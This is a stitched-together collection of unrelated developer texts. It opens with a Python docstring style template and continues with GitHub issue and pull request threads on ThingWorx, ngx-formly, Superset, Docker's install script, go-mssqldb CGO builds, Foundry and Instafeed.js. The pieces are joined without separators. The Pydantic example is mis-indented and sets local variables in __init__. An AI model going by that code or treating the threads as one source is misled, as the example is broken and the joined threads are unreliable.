Pydantic class
from typing import Any

from langchain_core.base_models import BaseModel

class FooPydantic(BaseModel):
  """One line summary.

  More detailed paragraph.

  Example:
    .. code-block:: python

      from langchain.foo import Foo

      f = Foo(1, 2, "bar")
      ...
  """

  first_attr: int
  """Does first thing."""
  second_attr: str
  """Does second thing.

  Additional info if needed.
  """

    def __init__(self, a: int, b: int, c: str, **kwargs: Any) -> None:
    """Initialize using a, b, c.

    Args:
      a: ...
      b: ...
      c: ...
      **kwargs: ...
   """
    first_attr = a + b
    second_attr = c
    super().__init__(first_attr=first_attr, second_attr=second_attr, **kwargs)

Function/method
def bar(a: int, b: str) -> float:
  """One line description.

  More description if needed.

  Args:
    a: ...
    b: ...

  Returns:
    A float of ...

  Raises:
    ValueError: If a is negative.

  Example:
    .. code-block:: python

      from langchain.foo import bar

      bar(1, "foo")
      # -> 14.381
  """

I will start!


Drag & Drop functionality on touch screen devices

Hi, I enabled the Drag & Drop funcionality on the collection view (also set move, transfer etc.) and on PC it works perfectly. But when I tried it on touch device (touch TV or tablet) it give me an error:
"Uncaught TypeError: Cannot read property 'length' of undefined at BMCollectionViewWidget.collectionViewCellWasLongClicked ...."

this error occurs every time when I try to drag & drop item in collection.
My ThingWorx version is 9.0.1-b103 and currently I'm using BMCoreUIWidgets-min-2.6.3 (in never version doesn't work the "Configure" button). I also tried it at newer ThingWorx version (9.1.0-b10877) and with newer version of BMCoreUIWidgets (up to version 2.6.8) but the result are always the same.
Do you have any suggestions or work-arounds?
Thank you for answer.
Lubos

Which OS/Browser are you using?
For touch devices I only tested on Safari for iOS and just assumed it works everywhere else too, so it's likely if you are using something else that I just didn't test for that platform and it's something I'll need to fix.

Tablet (Lenovo):
OS: Android 10
Browser: Chrome 92.0.4515.131
Touch TV (samsung flip 2 wm85r):
OS: Tizen 5.0 : Samsung Proprietary OS (VDLinux)
Browser: Chrome (portable)

Thanks, I'll look into it

As a temporary workaround, you should be able to get it to work by setting a value for the CellSlideMenu property and setting the CellSlideMenuUseBuiltin property to false.
I will publish an update to resolve this soon.

Hi Bogdan, thank you very much! It's now generating lots of errors (chrome issue) but on tablet the drag & drop functionality works good.

I'll be looking forward for your update and thanks for the work with the collection.

This, and the preventDefault console messages should be fixed in release 2.6.9 (both Core UI and Collection View).
Please reopen this issue if you still have this problem.


How do I add ngx-formly/kendo with latest kendo libraries

I'm creating a new project and I have problems to add the ngx-formly/kendo with the latest versions of kendo components.
npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/@progress/kendo-angular-inputs
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!   peer @progress/kendo-angular-inputs@"9 - 10" from<EMAIL_ADDRESS>npm ERR!   node_modules/@progress/kendo-angular-treeview
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!     peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR!     node_modules/@progress/kendo-angular-dropdowns
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!       1 more (@ngx-formly/kendo)

Shoudn't the ngx-formly/kendo  package be ok with any version above the versions in package.json?

Hi,
When this commit will hit the npmjs?
Thank's in advance,
Shkard Evgeny

@eshkard I'll try to make a new release at the end of this week.

Hi,
proposed change:
">=^4.0.0"
">=^7.0.2"
">=^9.0.3"
has a bit of uncommon syntax.
I'd propose revising at least to
">=4.0.0"
">=7.0.2"
">=9.0.3"
we are encountered ng error on the package upgrade regarding syntax (at least on angular 14)

This issue has been fixed and released as part of v6.1.2 release.
Please let us know, in case you are still encountering a similar issue/problem.
Thank you!


Dropdown list for comparator/filter value in Explore's filters section

It would be great if there's a dropdown list as you type the values in the Explore's filter section. Just like how there's a dropdown for the column and operator part, so that users would have an idea if the value they are inserting exists or not.
Here's an example of what I mean. Below is a screenshot of the dashboard native filter. And the filter section in Explore should have this dropdown feature too.

Expected result

@junlincc

I'm assuming it can be done in superset/superset-frontend/src/explore/components/controls/FilterControl/AdhocFilterEditPopoverSimpleTabContent/index.tsx ?
Along the lines of line 419-457?


Update gradle-download-task to 5.0.1

Summary
This enables concurrent task exection and parallel downloads
See also https://github.com/michel-kraemer/gradle-download-task/issues/138
Changelog
[General] [Changed] - Update gradle-download-task to 5.0.1 to support concurrent downloads
Test Plan
Build runs successfully.

Thanks for doing this @michel-kraemer
I had it on my backlog but haven't managed to find time to look into it as our setup is rather complex. Thanks for doing it. 🙏
I believe the Internal CI Job will fail as this requires an update of the offline mirror. You can disregard it and we should be good to merge it 👍


get.docker.com provides edge channel instead of stable

https://get.docker.com/ provides edge channel instead of stable.
DEFAULT_CHANNEL_VALUE="edge"
if [ -z "$CHANNEL" ]; then
	CHANNEL=$DEFAULT_CHANNEL_VALUE
fi

As intended. The script isn't meant for production use, it's meant as a convenience to install the latest Docker CE version quickly. If you'd like to lock yourself into the stable channel you can configure it with your package manager.


Fix sonarqube issues

Fix issues found by DPPS sonarqube

It also gives quite a few correct code smells (and some that are a bit pedantic):  https://sonar-cta-dpps.zeuthen.desy.de/project/issues?id=ctapipe_github_9404f0f6-9294-11ed-bf3b-07aa00bdfe94&resolved=false&types=CODE_SMELL


Is there a way to see if applicationinsights has been initialised

Hi there,
Is there a way to see if applicationinsights has been initalised? For instance, I have the following code:
    import * as appInsights from 'applicationinsights';

    appInsights.setup(applicationInsightsConnectionString);

    appInsights.start();

Later on in my code, I want to check to see if appInsights.start() has been called so I know that I should either call functions like trackException or trackTrace or warn the user that they haven't initialised things.
I had a look through the docs and it doesn't seem like there's a flag or way to determine this. Is my understanding correct and I'll have to track this myself?

We use internal properties to track this so initialization works correctly and to prevent multiple starts, but we don't expose them, can you elaborate on your scenario?, setup should prepare everything for manual tracking, like track APIs that you mention, start will do auto instrumentation stuff, maybe you can check for appInsights.defaultClient to exist and should be enough.

You're right, though, checking for defaultClient existing would do the job :)


Does it monitor and alert automatically?

Does the bot monitor indicators and send alerts automatically or I need to monitor them by myself and send alerts to  users?
I couldn't get it from the documentation.
Thank you.

Hello, when you create new alerts via the Telegram interface, the bot will automatically check the indicators and send an alert to Telegram when the alert condition is satisfied.


Fix lazy types inside generics

This issue was reported on discord. The fix allows to use lazy types inside generics:
T = TypeVar("T")

TypeAType = Annotated["TypeA", strawberry.lazy("tests.schema.test_lazy.type_a")]

def test_lazy_types_with_generic():
    @strawberry.type
    class Edge(Generic[T]):
        node: T

    @strawberry.type
    class Query:
        users: Edge[TypeAType]

    strawberry.Schema(query=Query)

The implementation is not the best, I'll see if I can make it better 😊

Thanks for adding the RELEASE.md file!

Here's a preview of the changelog:

This release fixes an issue that prevented using lazy types inside
generic types.
The following is now allowed:
T = TypeVar("T")

TypeAType = Annotated["TypeA", strawberry.lazy("tests.schema.test_lazy.type_a")]

@strawberry.type
class Edge(Generic[T]):
    node: T

@strawberry.type
class Query:
    users: Edge[TypeAType]

Here's the preview release card for twitter:

Here's the tweet text:
🆕 Release (next) is out! Thanks to @patrick91 for the PR 👏

Get it here 👉 https://github.com/strawberry-graphql/strawberry/releases/tag/(next)


Board vessel button disappears

When all the way at the bottom of vessel summary and boarding record summary screens (pre-boarding search) the 'board vessel' button disappears

@Sheeri Can you send me a video, because I see everything is working fine on the emulator :)

@EduardHarutyunyan97 here's a video - https://youtu.be/wdC1paJG0Ro - the button disappears when I scroll down, and reappears when I scroll up. It shouldn't disappear when I scroll down.

@Sheeri Done :)
https://github.com/WildAid/o-fish-android/pull/490


feat(cli): standard/debug mode

$ haetae --debug # debug mode shows stack trace

Not going to implement this for now.


Add 'elapsed' to man page

Include 'elapsed' in the list of builtin variables documented in
bpftrace.8. Also clarify that the variable is not a timestamp but rather
the number of nanoseconds elapsed since bpftrace was initialized.

Happy 2000th commit too


BUG: CGO is being used for tests therefore the driver is not pure go

Describe the bug
The tests for go-mssqldb appear to depend on CGO when building on linux. This would be contrary to a "pure go" driver.
On a Linux build server without gcc installed I am seeing this when building the tests in the msdns package
$ go test
# runtime/cgo
cgo: C compiler "gcc" not found: exec: "gcc": executable file not found in $PATH
FAIL	github.com/denisenkom/go-mssqldb/msdsn [build failed]

So there is a CGO dependency.
Where as if I explicity disable CGO the tests pass:
CGO_ENABLED=0 go test
PASS
ok  	github.com/denisenkom/go-mssqldb/msdsn	0.004s

This failure is 100% reproducible, and is on the current tip (commit #73c014ad7bf723bb066c5acde24fccab51084c81 at the time of writing) and the v0.11.0 version.
With gcc installed, the problem is not apparent.
Also on a Windows machine i.e. GOOS=windows the problem is also not apparent (even when CGO_ENABLED=1, as is the platform default). The problem is therefore specific to GOOS=linux and CGO_ENABLED=1 (and gcc not installed - which in this case is correct).
I've used the following bit of go list to try to narrow the problem down:
go list -f "{{if .CgoFiles}}{{.ImportPath }} from {{ .Dir }}{{end}}" $(go list -f "{{.ImportPath}}{{range .Deps}} {{.}}{{end}}")

but that only points into the standard library source code
go list -f "{{if .CgoFiles}}{{.ImportPath }} from {{ .Dir }}{{end}}" $(go list -f "{{.ImportPath}}{{range .Deps}} {{.}}{{end}}")
net from /home/XXX/go/src/net
runtime/cgo from /home/XXX/go/src/runtime/cgo

Why is this a problem
This is currently tripping up our (Jenkins based) build server. This sever, quite rightly, does not have gcc installed and so any CGO enabled code, including test code, will fail (as above). This is what we want as we do not want any CGO dependences in the project.
The only work around that I can see is to prefix our current go test ./... command with CGO_ENABLED=0. But that turns out to be impractical, as every go command, or go testing or go analysis tool we use after out "Test" stage also needs to be prefixed with CGO_ENABLED=0
As an example several stages after we call go test in our pipeline, we are running golangci-lint as a linter. We are now having to prefix golangci-lint with CGO_ENABLED=0 or golangci-lint runs into the above failure as well.
As the Jenkins pipelinne is extensive, this is both error prone and impractical to maintain over the short-medium term. The problem needs to be fixed in the upstream dependency.
I could set CGO_ENABLED=0 globally on the build server but this isn't really want I want to be doing. The test code should just work.
To Reproduce
To reproduce this on any linux machine without gcc installed it is as simple as:
git clone https://github.com/denisenkom/go-mssqldb
cd go-mssqldb/msdsn
go test

which will produce:
# runtime/cgo
cgo: C compiler "gcc" not found: exec: "gcc": executable file not found in $PATH
FAIL	github.com/denisenkom/go-mssqldb [build failed]

Expected behavior
The expected behaviour is that the test passes, even if CGO_ENABLED=1 (the platform default on linux) and gcc is not installed.
There should be no dependency on CGO at all.
Further technical details
go env shows
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN="/home/XXX/go/bin"
GOCACHE="/home/XXX/.cache/go-build"
GOENV="/home/XXX/.config/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/home/XXX/go/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/XXX/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/home/XXX/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/home/XXX/go/pkg/tool/linux_amd64"
GOVCS=""
GOVERSION="go1.17.5"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/home/XXX/go-mssqldb/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build780199589=/tmp/go-build -gno-record-gcc-switches"

running on a Unbuntu 18.04 LTS VM
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Additional context
The same behaviour is apparent with Go versions v1.17.1, v1.17.2, v1.17.3, v1.17.4 and the current v1.17.5.

... By default Go uses CGO for certain operations (name resolution) on Linux unless specifically asked to remove cgo. This is to ensure it follows OS name resolution and other network functions. If you casually inspect ./msdsn package, it doesn't contain any CGO.

@kardianos
Ah ha. Sorry I was unaware of this behaviour on linux. Many thanks for correcting me.
So as the go standard library is therefore linking to glibc, via cgo, and therefore glibc is runtime dependency of any go program on linux (unless cgo is explicitly disabled), it makes no sense to not to install gcc on the build server in question.
Once gcc and the associated headers were installed, the test worked as expected.
Many thanks for the help in resolving this.


Selective compilation of certain Solidity files via foundry.toml

Component
Forge
Describe the feature you would like
Suppose I want to include 2 different ReentracyGuard files in Solady.

ReentrancyGuard.sol (uses regular old sstore).
ReentrancyGuard.cancun.sol (uses the tstore opcode probably available in solc 0.8.23 in the future).

Compilation will throw an error when using "solc_version" < "0.8.23" or "evm_version" < "cancun".
Suggestion
Suppose Solady's foundry.toml has:
[profile.default]
solc_version = "0.8.21"
evm_version = "paris" # Shanghai will be tested in the CI.
auto_detect_solc = false
optimizer = true
optimizer_runs = 1_000
gas_limit = 100_000_000 # ETH is 30M, but we use a higher value.
remappings = [
  "forge-std=test/utils/forge-std/"
]
selective_compile = [
  { path = "./**/*.cancun.sol", min_solc_version = "0.8.23", min_evm_version = "cancun" }
]

Ideally any library that installs Solady via forge must be able to compile with solc >= 0.8.4 (minimum supported version by Solady).
But if their foundry.toml specifies "solc_version" = "0.0.23" and "evm_version" = "cancun", they will be able to include and compile ReentrancyGuard.cancun.sol.
A project that targets many EVM chains (e.g. for canonical create2 deployments with vanity addresses) would use "solc_version" = "0.0.23" (or any other version that supports paris) and "evm_version" = "paris". They will include the traditional ReentrancyGuard.sol in files.
A project that only targets Ethereum mainnet would use "solc_version" = "0.0.23" and "evm_version" = "cancun". They will include ReentrancyGuard.cancun.sol in files instead.
Why?
I mean... we cannot expect L2s (and Solidity) to be shipping as fast and hardcore as the Foundry team.
PUSH0 was a good test of what's to come.
Additional context
No response

yeah, we kind of want this in one form or another.
I think this is some form of configuration conditional where a library can allow/disallow certain files based on the configured version
all of this needs to be solved during preprocessing, independently from solc.
I can see how this will become important with new cancun opcodes and already is problematic with push0...
Because this depends on the file itself, I can imagine this could be solved with some natspec custom modifier and via the config like you suggested.
I think it's most important to prevent compilation if evm version is invalid.
but I wonder if the ideal DX would be something like, "if cancun use cancun.sol variant of that file, if < cancun use this file"
but this is likely a niche feature only for certain libraries like solady and should probably be solved via a package manager solution instead.
But adding rules into the config would be possible and we should start with that.

Related: https://github.com/foundry-rs/foundry/issues/5715


Log Origin on auth nonce route

Summary
As a continuation of #1520, we need to know the Origin of the request. This adds temporary logging of it.
Changes

Add logging of Origin to /v1/auth/nonce route

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage increased (+0.009%) to 93.008%

Files with Coverage Reduction
New Missed Lines
%

src/routes/transactions/entities/tests/human-description.builder.ts
2
60.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.009%

Covered Lines:
7041

Relevant Lines:
7296

💛  - Coveralls


Error from Instagram: invalid media id

I try to use instafeed.js to display the 10 last instagram post from my account, on my magento website.
Here is my script :

It returns me an error : Error from Instagram: invalid media id
Of course my instagram application is in sandbox mode, and from what I read on the instragram website, it will stay at this state for this kind of use. And I've unchecked the OAuth security.
I don't understand what I means by 'invalid media id'. Can you help me ?
Thanks

You need to tell Instafeed.js that you are wanting to get images from a user account:
var feed = new Instafeed({
  // other settings
  get: "user",
  userId: "YOUR_USER_ID"
});
feed.run();